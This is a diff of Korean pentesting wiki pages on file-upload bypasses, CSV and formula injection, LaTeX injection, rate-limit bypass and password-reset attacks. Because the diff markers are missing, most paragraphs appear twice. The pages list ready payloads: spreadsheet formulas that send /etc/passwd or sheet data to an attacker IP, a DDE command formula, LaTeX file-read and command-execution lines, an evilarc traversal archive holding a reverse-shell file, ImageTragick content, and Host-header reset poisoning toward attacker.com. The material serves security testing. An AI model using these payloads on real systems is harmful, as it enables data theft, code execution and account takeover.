페이로드의 실행은 구성 파일의 파싱 중에 발생합니다. 구성이 활성화되고 파싱되기 위해서는 uWSGI 프로세스를 재시작해야 하며(충돌 후 또는 서비스 거부 공격으로 인해) 파일이 자동으로 다시 로드되도록 설정되어야 합니다. 자동 다시 로드 기능이 활성화된 경우, 변경 사항을 감지하면 지정된 간격으로 파일을 다시 로드합니다.
uWSGI의 구성 파일 파싱의 느슨한 특성을 이해하는 것이 중요합니다. 특히, 논의된 페이로드는 이진 파일(예: 이미지 또는 PDF)에 삽입될 수 있어 잠재적인 악용 범위를 더욱 넓힙니다.
## **wget 파일 업로드/SSRF 트릭**
일부 경우에 서버가 **`wget`**을 사용하여 **파일을 다운로드**하고 **URL**을 **지정**할 수 있는 경우가 있습니다. 이러한 경우, 코드는 다운로드된 파일의 확장자가 화이트리스트에 있는지 확인하여 허용된 파일만 다운로드되도록 보장할 수 있습니다. 그러나 **이 검사를 우회할 수 있습니다.**\
**리눅스**에서 **파일 이름**의 **최대** 길이는 **255**자이지만, **wget**은 파일 이름을 **236**자로 잘라냅니다. **"A"\*232+".php"+".gif"**라는 파일을 **다운로드**할 수 있으며, 이 파일 이름은 **검사**를 **우회**합니다(이 예에서 **".gif"**는 **유효한** 확장자입니다) 하지만 `wget`은 파일 이름을 **"A"\*232+".php"**로 **변경**합니다.
일부 경우, 서버가 **`wget`**을 사용하여 **파일을 다운로드**하고 **URL**을 **지정**할 수 있는 경우가 있습니다. 이러한 경우, 코드는 다운로드된 파일의 확장자가 화이트리스트에 있는지 확인하여 허용된 파일만 다운로드되도록 보장할 수 있습니다. 그러나 **이 검사를 우회할 수 있습니다.**\
**리눅스**에서 **파일 이름**의 **최대** 길이는 **255**자이지만, **wget**은 파일 이름을 **236**자로 잘라냅니다. **"A"\*232+".php"+".gif"**라는 파일을 **다운로드**할 수 있으며, 이 파일 이름은 **검사**를 **우회**합니다(이 예에서 **".gif"**는 **유효한** 확장자입니다) 그러나 `wget`은 파일 이름을 **"A"\*232+".php"**로 **변경**합니다.
```bash
#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
@ -156,7 +156,7 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]
```
다른 옵션은 이 검사를 우회하기 위해 **HTTP 서버가 다른 파일로 리디렉션**하도록 만드는 것입니다. 그러면 초기 URL이 검사를 우회하고 wget이 새 이름으로 리디렉션된 파일을 다운로드합니다. 이는 **wget이 `--trust-server-names` 매개변수와 함께 사용되지 않는 한 작동하지 않습니다**. 왜냐하면 **wget은 원래 URL에 표시된 파일 이름으로 리디렉션된 페이지를 다운로드하기 때문입니다**.
다른 옵션은 이 검사를 우회하기 위해 **HTTP 서버가 다른 파일로 리디렉션**하도록 만드는 것입니다. 이렇게 하면 초기 URL이 검사를 우회하고 wget이 새 이름으로 리디렉션된 파일을 다운로드합니다. 이는 **wget이 `--trust-server-names` 매개변수와 함께 사용되지 않는 한 작동하지 않습니다**. 왜냐하면 **wget은 원래 URL에 표시된 파일 이름으로 리디렉션된 페이지를 다운로드하기 때문입니다**.
## 도구
@ -174,13 +174,13 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
- [**SVG 파일 업로드를 통한 오픈 리디렉션**](../open-redirect.md#open-redirect-uploading-svg-files)
- [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)에서 **다양한 svg 페이로드**를 시도해 보세요.
- [유명한 **ImageTrick** 취약점](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
- **웹 서버에 URL에서 이미지를 가져오도록 지시할 수 있다면**, [SSRF](../ssrf-server-side-request-forgery/index.html)를 악용할 수 있습니다. 이 **이미지**가 어떤 **공개** 사이트에 **저장**될 경우, [https://iplogger.org/invisible/](https://iplogger.org/invisible/)의 URL을 지정하여 **모든 방문자의 정보를 훔칠** 수 있습니다.
- **웹 서버에 URL에서 이미지를 가져오도록 지시할 수 있다면**, [SSRF](../ssrf-server-side-request-forgery/index.html)를 악용할 수 있습니다. 이 **이미지**가 **공개** 사이트에 **저장**될 경우, [https://iplogger.org/invisible/](https://iplogger.org/invisible/)의 URL을 지정하여 **모든 방문자의 정보를 훔칠** 수 있습니다.
- [PDF-Adobe 업로드로 **XXE 및 CORS** 우회](pdf-upload-xxe-and-cors-bypass.md)
- XSS를 위한 특별히 제작된 PDF: [다음 페이지는 **PDF 데이터를 주입하여 JS 실행을 얻는 방법**을 제시합니다](../xss-cross-site-scripting/pdf-injection.md). PDF를 업로드할 수 있다면, 주어진 지침에 따라 임의의 JS를 실행할 PDF를 준비할 수 있습니다.
- \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) 콘텐츠를 업로드하여 서버에 **안티바이러스**가 있는지 확인합니다.
- \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) 내용을 업로드하여 서버에 **안티바이러스**가 있는지 확인합니다.
- 파일 업로드 시 **크기 제한**이 있는지 확인합니다.
여기 파일 업로드를 통해 달성할 수 있는 10가지 목록이 있습니다 (출처: [여기](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
여기 업로드를 통해 달성할 수 있는 10가지 목록이 있습니다 (출처: [여기](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
1. **ASP / ASPX / PHP5 / PHP / PHP3**: 웹쉘 / RCE
2. **SVG**: 저장된 XSS / SSRF / XXE
@ -220,16 +220,16 @@ tar -cvf test.tar symindex.txt
```
### 다른 폴더에 압축 해제
압축 해제 중 디렉토리에서 파일이 예기치 않게 생성되는 것은 중요한 문제입니다. 이 설정이 악성 파일 업로드를 통한 OS 수준의 명령 실행을 방지할 것이라는 초기 가정에도 불구하고, ZIP 아카이브 형식의 계층적 압축 지원 및 디렉토리 탐색 기능이 악용될 수 있습니다. 이를 통해 공격자는 제한을 우회하고 대상 애플리케이션의 압축 해제 기능을 조작하여 안전한 업로드 디렉토리를 탈출할 수 있습니다.
압축 해제 중 디렉토리에 파일이 예기치 않게 생성되는 것은 중요한 문제입니다. 이 설정이 악의적인 파일 업로드를 통한 OS 수준의 명령 실행을 방지할 것이라는 초기 가정에도 불구하고, ZIP 아카이브 형식의 계층적 압축 지원 및 디렉토리 탐색 기능이 악용될 수 있습니다. 이를 통해 공격자는 제한을 우회하고 대상 애플리케이션의 압축 해제 기능을 조작하여 안전한 업로드 디렉토리를 탈출할 수 있습니다.
이러한 파일을 생성하기 위한 자동화된 익스플로잇은 [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc)에서 사용할 수 있습니다. 유틸리티는 다음과 같이 사용할 수 있습니다:
이러한 파일을 생성하는 자동화된 익스플로잇은 [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc)에서 사용할 수 있습니다. 유틸리티는 다음과 같이 사용할 수 있습니다:
```python
# Listing available options
python2 evilarc.py -h
# Creating a malicious archive
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
```
추가적으로, **evilarc와 함께하는 symlink 트릭**은 옵션입니다. 목표가 `/flag.txt`와 같은 파일을 타겟으로 하는 경우, 해당 파일에 대한 symlink를 시스템에 생성해야 합니다. 이는 evilarc가 작동 중 오류를 겪지 않도록 보장합니다.
또한, **evilarc와 함께하는 symlink 트릭**도 옵션입니다. 목표가 `/flag.txt`와 같은 파일을 타겟으로 하는 경우, 해당 파일에 대한 symlink를 시스템에 생성해야 합니다. 이렇게 하면 evilarc가 작동 중 오류를 겪지 않도록 보장됩니다.
아래는 악성 zip 파일을 생성하는 데 사용되는 Python 코드의 예입니다:
```python
@ -280,7 +280,7 @@ root@s2crew:/tmp# zip cmd.zip xx*.php
## ImageTragic
이 콘텐츠를 이미지 확장자로 업로드하여 취약점을 악용하세요 **(ImageMagick , 7.0.1-1)** (출처: [exploit](https://www.exploit-db.com/exploits/39767))
이 콘텐츠를 이미지 확장자로 업로드하여 취약점을 악용하세요 **(ImageMagick , 7.0.1-1)** (form the [exploit](https://www.exploit-db.com/exploits/39767))
```
push graphic-context
viewbox 0 0 640 480
@ -291,27 +291,27 @@ pop graphic-context
PNG 파일의 IDAT 청크에 PHP 셸을 삽입하면 특정 이미지 처리 작업을 효과적으로 우회할 수 있습니다. PHP-GD의 `imagecopyresized` 및 `imagecopyresampled` 함수는 각각 이미지를 크기 조정하고 재샘플링하는 데 일반적으로 사용되므로 이 맥락에서 특히 관련이 있습니다. 삽입된 PHP 셸이 이러한 작업의 영향을 받지 않는 능력은 특정 사용 사례에 있어 중요한 장점입니다.
이 기술에 대한 자세한 탐색, 방법론 및 잠재적 응용 프로그램은 다음 기사에서 제공됩니다: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). 이 자료는 프로세스와 그 의미에 대한 포괄적인 이해를 제공합니다.
이 기술에 대한 자세한 탐구, 방법론 및 잠재적 응용 프로그램은 다음 기사에서 제공됩니다: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). 이 자료는 프로세스와 그 의미에 대한 포괄적인 이해를 제공합니다.
자세한 정보는: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
## 폴리글롯 파일
폴리글롯 파일은 사이버 보안에서 독특한 도구로 작용하며, 여러 파일 형식에서 동시에 유효하게 존재할 수 있는 카멜레온과 같습니다. 흥미로운 예로는 GIF와 RAR 아카이브로 기능하는 하이브리드인 [GIFAR](https://en.wikipedia.org/wiki/Gifar)가 있습니다. 이러한 파일은 이 조합에 국한되지 않으며, GIF와 JS 또는 PPT와 JS와 같은 조합도 가능합니다.
폴리글롯 파일은 사이버 보안에서 독특한 도구로 작용하며, 여러 파일 형식에서 동시에 유효하게 존재할 수 있는 카멜레온과 같습니다. 흥미로운 예로는 [GIFAR](https://en.wikipedia.org/wiki/Gifar)가 있으며, 이는 GIF와 RAR 아카이브로서 기능하는 하이브리드입니다. 이러한 파일은 이 조합에 국한되지 않으며, GIF와 JS 또는 PPT와 JS와 같은 조합도 가능합니다.
폴리글롯 파일의 핵심 유용성은 파일 유형에 따라 파일을 검사하는 보안 조치를 우회할 수 있는 능력에 있습니다. 다양한 애플리케이션에서 일반적인 관행은 JPEG, GIF 또는 DOC와 같은 특정 파일 유형만 업로드를 허용하여 잠재적으로 유해한 형식(예: JS, PHP 또는 Phar 파일)으로 인한 위험을 완화하는 것입니다. 그러나 폴리글롯은 여러 파일 유형의 구조적 기준을 준수함으로써 이러한 제한을 은밀하게 우회할 수 있습니다.
폴리글롯 파일의 핵심 유용성은 파일 유형에 따라 파일을 검사하는 보안 조치를 우회할 수 있는 능력에 있습니다. 다양한 애플리케이션에서 일반적인 관행은 JPEG, GIF 또는 DOC와 같은 특정 파일 유형만 업로드를 허용하여 잠재적으로 해로운 형식(예: JS, PHP 또는 Phar 파일)으로 인한 위험을 완화하는 것입니다. 그러나 폴리글롯은 여러 파일 유형의 구조적 기준을 준수함으로써 이러한 제한을 은밀하게 우회할 수 있습니다.
그들의 적응성에도 불구하고, 폴리글롯은 한계에 직면합니다. 예를 들어, 폴리글롯이 PHAR 파일(PHp ARchive)과 JPEG을 동시에 포함할 수 있지만, 업로드의 성공 여부는 플랫폼의 파일 확장자 정책에 달려 있을 수 있습니다. 시스템이 허용되는 확장자에 대해 엄격하다면, 폴리글롯의 단순한 구조적 이중성만으로는 업로드를 보장할 수 없습니다.
그들의 적응성에도 불구하고, 폴리글롯은 한계에 직면합니다. 예를 들어, 폴리글롯이 PHAR 파일(PHp ARchive)과 JPEG를 동시에 포함할 수 있지만, 업로드의 성공 여부는 플랫폼의 파일 확장자 정책에 달려 있을 수 있습니다. 시스템이 허용되는 확장자에 대해 엄격하다면, 폴리글롯의 단순한 구조적 이중성만으로는 업로드를 보장할 수 없습니다.
자세한 정보는: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
### PDF처럼 유효한 JSON 업로드하기
PDF 파일로 위장하여 유효한 JSON 파일을 업로드함으로써 파일 유형 감지를 피하는 방법(기술은 **[이 블로그 게시물](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**에서 제공됨):
PDF 파일로 위장하여 허용되지 않는 경우에도 유효한 JSON 파일을 업로드하여 파일 유형 감지를 피하는 방법(기술은 **[이 블로그 게시물](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**에서 제공됨):
- **`mmmagic` 라이브러리**: `%PDF` 매직 바이트가 처음 1024 바이트에 있으면 유효합니다(게시물에서 예시 가져오기)
- **`pdflib` 라이브러리**: JSON의 필드 안에 가짜 PDF 형식을 추가하여 라이브러리가 PDF로 인식하게 합니다(게시물에서 예시 가져오기)
- **`file` 바이너리**: 파일에서 최대 1048576 바이트를 읽을 수 있습니다. JSON보다 큰 JSON을 생성하여 내용을 JSON으로 파싱할 수 없게 하고, JSON 안에 실제 PDF의 초기 부분을 넣으면 PDF로 인식하게 됩니다.
- **`mmmagic` 라이브러리**: `%PDF` 매직 바이트가 처음 1024 바이트에 포함되어 있으면 유효합니다(게시물에서 예제 가져오기)
- **`pdflib` 라이브러리**: JSON의 필드 안에 가짜 PDF 형식을 추가하여 라이브러리가 PDF로 인식하게 합니다(게시물에서 예제 가져오기)
- **`file` 바이너리**: 파일에서 최대 1048576 바이트를 읽을 수 있습니다. JSON보다 큰 파일을 생성하여 JSON으로 내용을 구문 분석할 수 없게 하고, JSON 안에 실제 PDF의 초기 부분을 넣으면 PDF로 인식하게 됩니다.
## 참고 문헌

42
src/pentesting-web/formula-csv-doc-latex-ghostscript-injection.md
View File

@ -6,10 +6,10 @@
### Info
만약 당신의 **입력**이 **CSV 파일**(또는 아마도 **Excel**로 열릴 다른 파일) 안에 **반영**되고 있다면, 사용자가 **파일을 열거나** Excel 시트 안의 **링크를 클릭할 때** **실행**될 Excel **수식**을 넣을 수 있을지도 모릅니다.
만약 당신의 **입력**이 **CSV 파일**(또는 아마도 **Excel**로 열릴 다른 파일) 안에 **반영**되고 있다면, 사용자가 **파일을 열거나** Excel 시트 안의 **링크를 클릭할 때** 실행될 **Excel 수식**을 삽입할 수 있을지도 모릅니다.
> [!CAUTION]
> 요즘 **Excel은 외부에서 로드된 경우** **사용자에게 경고**(여러 번)하여 악의적인 행동을 방지합니다. 따라서 최종 페이로드에 대해 소셜 엔지니어링에 특별한 노력이 필요합니다.
> 요즘 **Excel은 외부에서 로드된 내용에 대해** (여러 번) **사용자에게 경고**하여 악의적인 행동을 방지합니다. 따라서 최종 페이로드에 대해 사회 공학에 특별한 노력이 필요합니다.
### [Wordlist](https://github.com/payloadbox/csv-injection-payloads)
```
@ -26,7 +26,7 @@ DDE ("cmd";"/C calc";"!A0")A0
다음 예시는 [https://payatu.com/csv-injection-basic-to-exploit](https://payatu.com/csv-injection-basic-to-exploit)에서 가져온 것입니다.
학생 기록 관리 시스템에서 보안 침해가 CSV 주입 공격을 통해 악용되는 상황을 상상해 보십시오. 공격자의 주요 의도는 학생 세부 정보를 관리하는 데 사용되는 시스템을 손상시키는 것입니다. 이 방법은 공격자가 학생 세부 정보를 위한 필드에 해로운 수식을 입력하여 애플리케이션에 악성 페이로드를 주입하는 것을 포함합니다. 공격은 다음과 같이 전개됩니다:
학생 기록 관리 시스템에서 보안 침해가 CSV 인젝션 공격을 통해 악용되는 상황을 상상해 보십시오. 공격자의 주요 의도는 학생 세부 정보를 관리하는 교사가 사용하는 시스템을 손상시키는 것입니다. 이 방법은 공격자가 학생 세부 정보를 위한 필드에 해로운 수식을 입력하여 애플리케이션에 악성 페이로드를 주입하는 것을 포함합니다. 공격은 다음과 같이 전개됩니다:
1. **악성 페이로드 주입:**
- 공격자는 학생 세부 정보 양식을 제출하지만 스프레드시트에서 일반적으로 사용되는 수식(예: `=HYPERLINK("<malicious_link>","Click here")`)을 포함합니다.
@ -36,20 +36,20 @@ DDE ("cmd";"/C calc";"!A0")A0
- CSV 파일을 열면 여전히 악성 페이로드가 포함되어 있습니다. 이 페이로드는 스프레드시트에서 클릭 가능한 하이퍼링크로 나타납니다.
3. **공격 유발:**
- 교사는 하이퍼링크를 클릭하여 학생 세부 정보의 합법적인 부분이라고 믿습니다.
- 클릭하면 민감한 데이터(스프레드시트 또는 교사의 컴퓨터에서의 세부 정보 포함)가 공격자의 서버로 전송됩니다.
- 클릭하면 민감한 데이터(스프레드시트의 세부 정보 또는 교사의 컴퓨터에서 포함될 수 있음)가 공격자의 서버로 전송됩니다.
4. **데이터 기록:**
- 공격자의 서버는 교사의 컴퓨터에서 전송된 민감한 데이터를 수신하고 기록합니다.
- 공격자는 이 데이터를 다양한 악의적인 목적으로 사용할 수 있으며, 학생과 기관의 프라이버시와 보안을 더욱 손상시킬 수 있습니다.
- 공격자는 이 데이터를 다양한 악의적인 목적으로 사용할 수 있으며, 학생과 기관의 프라이버시 및 보안을 더욱 손상시킬 수 있습니다.
### RCE
**자세한 내용은** [**원본 게시물**](https://notsosecure.com/data-exfiltration-formula-injection-part1) **을 확인하십시오.**
특정 구성이나 이전 버전의 Excel에서는 동적 데이터 교환(DDE)이라는 기능을 악용하여 임의의 명령을 실행할 수 있습니다. 이를 활용하려면 다음 설정을 활성화해야 합니다:
특정 구성이나 이전 버전의 Excel에서는 임의의 명령을 실행하기 위해 동적 데이터 교환(DDE)이라는 기능을 악용할 수 있습니다. 이를 활용하기 위해서는 다음 설정을 활성화해야 합니다:
- 파일 → 옵션 → 신뢰 센터 → 신뢰 센터 설정 → 외부 콘텐츠로 이동하여 **동적 데이터 교환 서버 시작**을 활성화합니다.
악성 페이로드가 포함된 스프레드시트를 열면(사용자가 경고를 수락하는 경우) 페이로드가 실행됩니다. 예를 들어, 계산기 애플리케이션을 실행하려면 페이로드는 다음과 같습니다:
악성 페이로드가 포함된 스프레드시트를 열면(사용자가 경고를 수락하는 경우) 페이로드가 실행됩니다. 예를 들어, 계산기 애플리케이션을 실행하기 위한 페이로드는 다음과 같습니다:
```markdown
=cmd|' /C calc'!xxx
```
@ -64,27 +64,27 @@ LibreOffice Calc는 로컬 파일을 읽고 데이터를 유출하는 데 사용
- 로컬 `/etc/passwd` 파일의 첫 번째 줄 읽기: `='file:///etc/passwd'#$passwd.A1`
- 읽은 데이터를 공격자가 제어하는 서버로 유출하기: `=WEBSERVICE(CONCATENATE("http://<attacker IP>:8080/",('file:///etc/passwd'#$passwd.A1)))`
- 여러 줄 유출하기: `=WEBSERVICE(CONCATENATE("http://<attacker IP>:8080/",('file:///etc/passwd'#$passwd.A1)&CHAR(36)&('file:///etc/passwd'#$passwd.A2)))`
- DNS 유출 (읽은 데이터를 DNS 쿼리로 공격자가 제어하는 DNS 서버로 전송하기): `=WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),".<attacker domain>"))`
- DNS 유출 (읽은 데이터를 공격자가 제어하는 DNS 서버로 DNS 쿼리로 전송하기): `=WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),".<attacker domain>"))`
### Google Sheets for Out-of-Band (OOB) Data Exfiltration
Google Sheets는 OOB 데이터 유출을 위해 악용될 수 있는 기능을 제공합니다:
- **CONCATENATE**: 문자열을 함께 추가 - `=CONCATENATE(A2:E2)`
- **IMPORTXML**: 구조화된 데이터 유형에서 데이터 가져오기 - `=IMPORTXML(CONCAT("http://<attacker IP:Port>/123.txt?v=", CONCATENATE(A2:E2)), "//a/a10")`
- **IMPORTFEED**: RSS 또는 ATOM 피드 가져오기 - `=IMPORTFEED(CONCAT("http://<attacker IP:Port>//123.txt?v=", CONCATENATE(A2:E2)))`
- **IMPORTHTML**: HTML 테이블 또는 목록에서 데이터 가져오기 - `=IMPORTHTML (CONCAT("http://<attacker IP:Port>/123.txt?v=", CONCATENATE(A2:E2)),"table",1)`
- **IMPORTRANGE**: 다른 스프레드시트에서 셀 범위 가져오기 - `=IMPORTRANGE("https://docs.google.com/spreadsheets/d/[Sheet_Id]", "sheet1!A2:E2")`
- **IMAGE**: 셀에 이미지 삽입 - `=IMAGE("https://<attacker IP:Port>/images/srpr/logo3w.png")`
- **CONCATENATE**: 문자열을 함께 추가합니다 - `=CONCATENATE(A2:E2)`
- **IMPORTXML**: 구조화된 데이터 유형에서 데이터를 가져옵니다 - `=IMPORTXML(CONCAT("http://<attacker IP:Port>/123.txt?v=", CONCATENATE(A2:E2)), "//a/a10")`
- **IMPORTFEED**: RSS 또는 ATOM 피드를 가져옵니다 - `=IMPORTFEED(CONCAT("http://<attacker IP:Port>//123.txt?v=", CONCATENATE(A2:E2)))`
- **IMPORTHTML**: HTML 테이블 또는 목록에서 데이터를 가져옵니다 - `=IMPORTHTML (CONCAT("http://<attacker IP:Port>/123.txt?v=", CONCATENATE(A2:E2)),"table",1)`
- **IMPORTRANGE**: 다른 스프레드시트에서 셀 범위를 가져옵니다 - `=IMPORTRANGE("https://docs.google.com/spreadsheets/d/[Sheet_Id]", "sheet1!A2:E2")`
- **IMAGE**: 셀에 이미지를 삽입합니다 - `=IMAGE("https://<attacker IP:Port>/images/srpr/logo3w.png")`
## LaTeX Injection
일반적으로 인터넷에서 **LaTeX 코드를 PDF로 변환하는** 서버는 **`pdflatex`**를 사용합니다.\
이 프로그램은 명령 실행을 (허용/비허용)하기 위해 3가지 주요 속성을 사용합니다:
이 프로그램은 명령 실행을 (허용)하지 않기 위해 3가지 주요 속성을 사용합니다:
- **`--no-shell-escape`**: `texmf.cnf` 파일에서 활성화되어 있더라도 `\write18{command}` 구문을 **비활성화**합니다.
- **`--shell-restricted`**: `--shell-escape`와 동일하지만 **미리 정의된** '안전한' 명령 집합으로 **제한**됩니다 (\*\*Ubuntu 16.04에서는 목록이 `/usr/share/texmf/web2c/texmf.cnf`에 있습니다).
- **`--shell-escape`**: `\write18{command}` 구문을 **활성화**합니다. 명령은 어떤 셸 명령도 될 수 있습니다. 이 구문은 보안상의 이유로 일반적으로 허용되지 않습니다.
- **`--shell-restricted`**: `--shell-escape`와 동일하지만, **미리 정의된** **명령의 '안전한' 집합으로 **제한**됩니다 (**Ubuntu 16.04에서는 목록이 `/usr/share/texmf/web2c/texmf.cnf`에 있습니다).
- **`--shell-escape`**: `\write18{command}` 구문을 **활성화**합니다. 명령은 어떤 셸 명령이든 될 수 있습니다. 이 구문은 보안상의 이유로 일반적으로 허용되지 않습니다.
그러나 명령을 실행하는 다른 방법이 있으므로 RCE를 피하기 위해 `--shell-restricted`를 사용하는 것이 매우 중요합니다.
@ -98,7 +98,7 @@ Google Sheets는 OOB 데이터 유출을 위해 악용될 수 있는 기능을
\usepackage{verbatim}
\verbatiminput{/etc/passwd}
```
#### 단일 행 파일 읽기
#### 단일 라인 파일 읽기
```bash
\newread\file
\openin\file=/etc/issue
@ -125,7 +125,7 @@ Google Sheets는 OOB 데이터 유출을 위해 악용될 수 있는 기능을
```
### Command execution <a href="#command-execution" id="command-execution"></a>
명령의 입력은 stdin으로 리디렉션되며, 이를 얻기 위해 임시 파일을 사용합니다.
명령의 입력은 stdin으로 리디렉션되며, 이를 얻기 위해 임시 파일을 사용하십시오.
```bash
\immediate\write18{env > output}
\input{output}
@ -148,7 +148,7 @@ Google Sheets는 OOB 데이터 유출을 위해 악용될 수 있는 기능을
## Get the value of shell_escape_commands without needing to read pdfetex.ini
\input{|"kpsewhich --var-value=shell_escape_commands > /tmp/b.tex"}
```
LaTex 오류가 발생하면 잘못된 문자가 없는 결과를 얻기 위해 base64를 사용하는 것을 고려하세요.
LaTex 오류가 발생하면, 잘못된 문자가 없는 결과를 얻기 위해 base64를 사용하는 것을 고려하세요.
```bash
\immediate\write18{env | base64 > test.tex}
\input{text.tex}
@ -158,7 +158,7 @@ LaTex 오류가 발생하면 잘못된 문자가 없는 결과를 얻기 위해
\input|ls|base4
\input{|"/bin/hostname"}
```
### 크로스 사이트 스크립팅 <a href="#cross-site-scripting" id="cross-site-scripting"></a>
### Cross Site Scripting <a href="#cross-site-scripting" id="cross-site-scripting"></a>
From [@EdOverflow](https://twitter.com/intigriti/status/1101509684614320130)
```bash

8
src/pentesting-web/rate-limit-bypass.md
View File

@ -38,7 +38,7 @@ user-agent 및 쿠키와 같은 다른 요청 헤더를 변경하는 것이 권
### 각 시도 전에 계정에 로그인하기
각 시도 또는 시도 세트 전에 계정에 로그인하면 속도 제한 카운터가 초기화될 수 있습니다. 이는 로그인 기능을 테스트할 때 특히 유용합니다. Burp Suite와 같은 도구에서 Pitchfork 공격을 활용하여 몇 번의 시도마다 자격 증명을 회전시키고 리디렉션을 따르도록 표시하면 속도 제한 카운터를 효과적으로 재시작할 수 있습니다.
각 시도 또는 시도 세트 전에 계정에 로그인하면 속도 제한 카운터가 초기화될 수 있습니다. 이는 로그인 기능을 테스트할 때 특히 유용합니다. Burp Suite와 같은 도구에서 Pitchfork 공격을 활용하여 몇 번의 시도마다 자격 증명을 회전하고 리디렉션을 따르도록 표시하면 속도 제한 카운터를 효과적으로 재시작할 수 있습니다.
### 프록시 네트워크 활용하기
@ -50,6 +50,10 @@ user-agent 및 쿠키와 같은 다른 요청 헤더를 변경하는 것이 권
### 계속 시도하기
속도 제한이 설정되어 있더라도 유효한 OTP가 전송될 때 응답이 다른지 확인해 보아야 합니다. [**이 게시물**](https://mokhansec.medium.com/the-2-200-ato-most-bug-hunters-overlooked-by-closing-intruder-too-soon-505f21d56732)에서 버그 헌터는 20번의 실패한 시도 후 401로 응답하여 속도 제한이 발생하더라도 유효한 OTP가 전송되면 200 응답을 받았다는 것을 발견했습니다.
속도 제한이 설정되어 있더라도 유효한 OTP가 전송될 때 응답이 다른지 확인해 보아야 합니다. [**이 게시물**](https://mokhansec.medium.com/the-2-200-ato-most-bug-hunters-overlooked-by-closing-intruder-too-soon-505f21d56732)에서 버그 헌터는 20번의 실패한 시도 후 401로 응답하더라도 속도 제한이 발생하더라도 유효한 OTP가 전송되면 200 응답을 받았다는 것을 발견했습니다.
### 도구
- [**https://github.com/Hashtag-AMIN/hashtag-fuzz**](https://github.com/Hashtag-AMIN/hashtag-fuzz): hashtag-fuzz는 WAF 및 CDN을 테스트하고 우회하기 위해 설계된 퍼징 도구입니다. 무작위 User-Agent 및 헤더 값, 무작위 지연, 다중 스레딩 처리, 단어 목록의 선택적 청크화 및 각 청크에 대한 라운드 로빈 프록시 회전을 활용하는 고급 기능을 통해 웹 애플리케이션의 취약점을 식별하려는 보안 전문가를 위한 강력한 솔루션을 제공합니다.
{{#include ../banners/hacktricks-training.md}}

34
src/pentesting-web/registration-vulnerabilities.md
View File

@ -27,7 +27,7 @@
### SQL 인젝션
[**이 페이지를 확인하세요** ](sql-injection/index.html#insert-statement)계정 인수 또는 **SQL 인젝션**을 통해 정보를 추출하는 방법을 배우세요.
[**이 페이지를 확인하세요** ](sql-injection/index.html#insert-statement)계정 인수를 시도하거나 **SQL 인젝션**을 통해 정보를 추출하는 방법을 배우세요.
### Oauth 인수
@ -56,23 +56,23 @@ saml-attacks/
### 참조자를 통한 비밀번호 재설정 토큰 유출 <a href="#password-reset-token-leak-via-referrer" id="password-reset-token-leak-via-referrer"></a>
1. 비밀번호 재설정을 위해 이메일 주소로 요청
2. 비밀번호 재설정 링크 클릭
3. 비밀번호 변경하지 않기
4. 3자 웹사이트 클릭 (예: Facebook, Twitter)
5. Burp Suite 프록시에서 요청 가로채기
1. 귀하의 이메일 주소로 비밀번호 재설정을 요청하세요.
2. 비밀번호 재설정 링크를 클릭하세요.
3. 비밀번호를 변경하지 마세요.
4. 3자 웹사이트(예: Facebook, Twitter)를 클릭하세요.
5. Burp Suite 프록시에서 요청을 가로채세요.
6. referer 헤더가 비밀번호 재설정 토큰을 유출하는지 확인하세요.
### 비밀번호 재설정 중독 <a href="#account-takeover-through-password-reset-poisoning" id="account-takeover-through-password-reset-poisoning"></a>
1. Burp Suite에서 비밀번호 재설정 요청 가로채기
2. Burp Suite에서 다음 헤더를 추가하거나 수정: `Host: attacker.com`, `X-Forwarded-Host: attacker.com`
3. 수정된 헤더로 요청 전달\
1. Burp Suite에서 비밀번호 재설정 요청을 가로채세요.
2. Burp Suite에서 다음 헤더를 추가하거나 수정하세요: `Host: attacker.com`, `X-Forwarded-Host: attacker.com`
3. 수정된 헤더로 요청을 전달하세요.\
`http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com`
4. _host 헤더_를 기반으로 한 비밀번호 재설정 URL 찾기: `https://attacker.com/reset-password.php?token=TOKEN`
4. _host 헤더_를 기반으로 한 비밀번호 재설정 URL을 찾으세요: `https://attacker.com/reset-password.php?token=TOKEN`
### 이메일 매개변수를 통한 비밀번호 재설정 <a href="#password-reset-via-email-parameter" id="password-reset-via-email-parameter"></a>
```powershell
```bash
# parameter pollution
email=victim@mail.com&email=hacker@mail.com
@ -98,12 +98,12 @@ email=victim@mail.com|hacker@mail.com
